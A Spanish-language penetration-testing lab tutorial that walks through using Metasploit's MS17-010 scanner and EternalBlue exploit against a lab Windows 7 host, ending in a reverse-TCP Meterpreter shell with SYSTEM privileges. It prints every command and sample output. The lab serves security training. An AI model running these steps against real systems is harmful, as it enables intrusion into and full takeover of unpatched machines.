Explotar MS17-010 EternalBlue en un objetivo Windows 7 en Metasploit

Kali LinuxBeginner
Practicar Ahora

Introducción

MS17-010, conocido públicamente como EternalBlue, es una vulnerabilidad crítica en la implementación del protocolo Server Message Block (SMB) de Microsoft. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en sistemas afectados. Metasploit Framework es una potente herramienta de código abierto para desarrollar, probar y ejecutar código de explotación.

En este laboratorio, asumirá el rol de un probador de penetración. Utilizará Metasploit Framework para identificar primero una máquina Windows 7 vulnerable en la red utilizando un módulo escáner. Luego, configurará y lanzará la explotación EternalBlue contra el objetivo para obtener control remoto completo a través de una sesión de Meterpreter. Esta experiencia práctica demostrará el impacto real de las vulnerabilidades no parcheadas.

Para este laboratorio, hay una máquina Windows 7 vulnerable presente en la red en la dirección IP 192.168.1.101.

Utilizar el escáner auxiliary/scanner/smb/smb_ms17_010 para encontrar objetivos

En este paso, comenzará lanzando la consola de Metasploit y utilizando un módulo escáner especializado para confirmar que nuestro objetivo es vulnerable a MS17-010. Esta es una fase de reconocimiento crucial en cualquier prueba de penetración.

Primero, abra una terminal e inicie la consola de Metasploit Framework ejecutando el comando msfconsole. Esto puede tardar un momento en cargarse.

msfconsole

Una vez que la consola se cargue, verá el prompt de comandos de Metasploit (msf6 >). Ahora, utilice el comando use para seleccionar el módulo escáner MS17-010.

use auxiliary/scanner/smb/smb_ms17_010

A continuación, deberá indicar al escáner qué hosts comprobar. Vea las opciones disponibles para este módulo con el comando show options.

show options

Verá una lista de opciones. La opción RHOSTS es obligatoria, que especifica el(los) host(s) remoto(s) a escanear. Establécela en la dirección IP de nuestra máquina Windows 7 objetivo.

set RHOSTS 192.168.1.101

Con el objetivo establecido, ejecute el escáner escribiendo run.

run

Metasploit escaneará ahora el objetivo. Si el host es vulnerable, verá un mensaje de confirmación en la salida.

[+] 192.168.1.101:445   - Host is likely VULNERABLE to MS17-010! (OS: Windows 7 Professional 7601 Service Pack 1)
[*] 192.168.1.101:445   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Esta salida confirma que el objetivo en 192.168.1.101 es vulnerable y un buen candidato para nuestra explotación.

Seleccionar el exploit exploit/windows/smb/ms17_010_eternalblue

En este paso, con el objetivo confirmado como vulnerable, seleccionará el módulo de explotación correspondiente en Metasploit. El módulo ms17_010_eternalblue está diseñado para explotar esta vulnerabilidad específica.

Dentro de la consola de Metasploit, utilice de nuevo el comando use, pero esta vez para cargar el módulo de explotación.

use exploit/windows/smb/ms17_010_eternalblue

Tras ejecutar el comando, notará que su prompt de comandos cambia para reflejar el contexto del módulo de explotación recién seleccionado. Esto indica que ahora está trabajando dentro del espacio de configuración para la explotación EternalBlue.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

Este módulo contiene el código que se enviará a la máquina objetivo para aprovechar la vulnerabilidad de SMB y permitirle ejecutar comandos adicionales.

Establecer la opción RHOSTS al objetivo vulnerable de Windows 7

En este paso, configurará el módulo de explotación para apuntar a la dirección IP específica de la máquina vulnerable. Mientras que el escáner podía comprobar un rango de IPs, la explotación debe dirigirse a un único objetivo confirmado.

Al igual que con el módulo escáner, puede ver las opciones de configuración para la explotación utilizando el comando show options.

show options

Verá que este módulo también tiene una opción RHOSTS, que significa "Remote Hosts" (Hosts Remotos). Actualmente está en blanco. Debe establecerla en la dirección IP de su objetivo de Windows 7, que confirmó en el primer paso.

Utilice el comando set para asignar la dirección IP 192.168.1.101 a RHOSTS.

set RHOSTS 192.168.1.101

Metasploit confirmará el cambio.

RHOSTS => 192.168.1.101

Ahora la explotación sabe exactamente a dónde dirigir el ataque.

Establecer el payload windows/x64/meterpreter/reverse_tcp

En este paso, elegirá un payload. Un payload es el código que se ejecutará en el sistema objetivo después de que la explotación lo comprometa con éxito. Para este laboratorio, utilizará Meterpreter, un payload avanzado y dinámicamente extensible.

El payload windows/x64/meterpreter/reverse_tcp es una excelente opción. Crea una conexión desde la máquina objetivo de vuelta a usted (una shell "inversa"), que a menudo tiene éxito al eludir firewalls. También está diseñado para sistemas Windows de 64 bits.

Utilice el comando set payload para seleccionarlo.

set payload windows/x64/meterpreter/reverse_tcp

Metasploit confirmará que el payload ha sido establecido.

payload => windows/x64/meterpreter/reverse_tcp

Aunque Metasploit a menudo selecciona un payload por defecto, establecerlo explícitamente asegura que está utilizando el más adecuado para su objetivo. Puede ejecutar show options de nuevo para ver las opciones tanto de la explotación como del payload. Notará nuevas opciones como LHOST (Listening Host - Host de Escucha) y LPORT (Listening Port - Puerto de Escucha), que Metasploit normalmente configura automáticamente a la dirección IP de su máquina.

Ejecutar la explotación y establecer una sesión de Meterpreter

En este paso, con todas las opciones configuradas, lanzará la explotación y tomará el control de la máquina objetivo.

Toda la preparación está hecha. La explotación está seleccionada, el objetivo está establecido y el payload ha sido elegido. Para lanzar el ataque, simplemente use el comando exploit.

exploit

Metasploit intentará explotar la vulnerabilidad en el objetivo. Verá varios mensajes de estado mientras trabaja. Si tiene éxito, la explotación entregará el payload de Meterpreter y verá un mensaje indicando "WIN!" y que se ha abierto una nueva sesión.

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Connecting to target for exploitation.
[+] 192.168.1.101:445 - Connection established for exploitation.
...
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Sending stage (200774 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:49157) at 2023-10-27 10:30:00 -0400

meterpreter >

El prompt meterpreter > significa éxito. Ahora tiene una shell remota en la máquina víctima. Para demostrar su control, ejecute el comando getuid para ver con qué cuenta de usuario se está ejecutando.

getuid

La salida debería ser:

Server username: NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM es el nivel más alto de privilegios en un sistema Windows. Ha comprometido con éxito el objetivo. También puede ejecutar sysinfo para obtener información del sistema.

sysinfo
Computer        : WIN7-VICTIM
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows

¡Felicitaciones, ha explotado con éxito MS17-010.

Resumen

En este laboratorio, adquirió experiencia práctica y directa con una de las vulnerabilidades más conocidas utilizando el Metasploit Framework.

Usted logró con éxito:

  • Utilizar un módulo escáner auxiliar para identificar un host vulnerable a MS17-010.
  • Seleccionar y configurar el módulo de explotación ms17_010_eternalblue.
  • Establecer un potente payload meterpreter para establecer una conexión remota.
  • Ejecutar la explotación y obtener una sesión de Meterpreter de nivel SYSTEM en la máquina Windows 7 objetivo.

Este ejercicio resalta la importancia crítica de la aplicación oportuna de parches de seguridad para los sistemas operativos. Una única vulnerabilidad sin parches puede ser suficiente para que un atacante obtenga el control total de un sistema.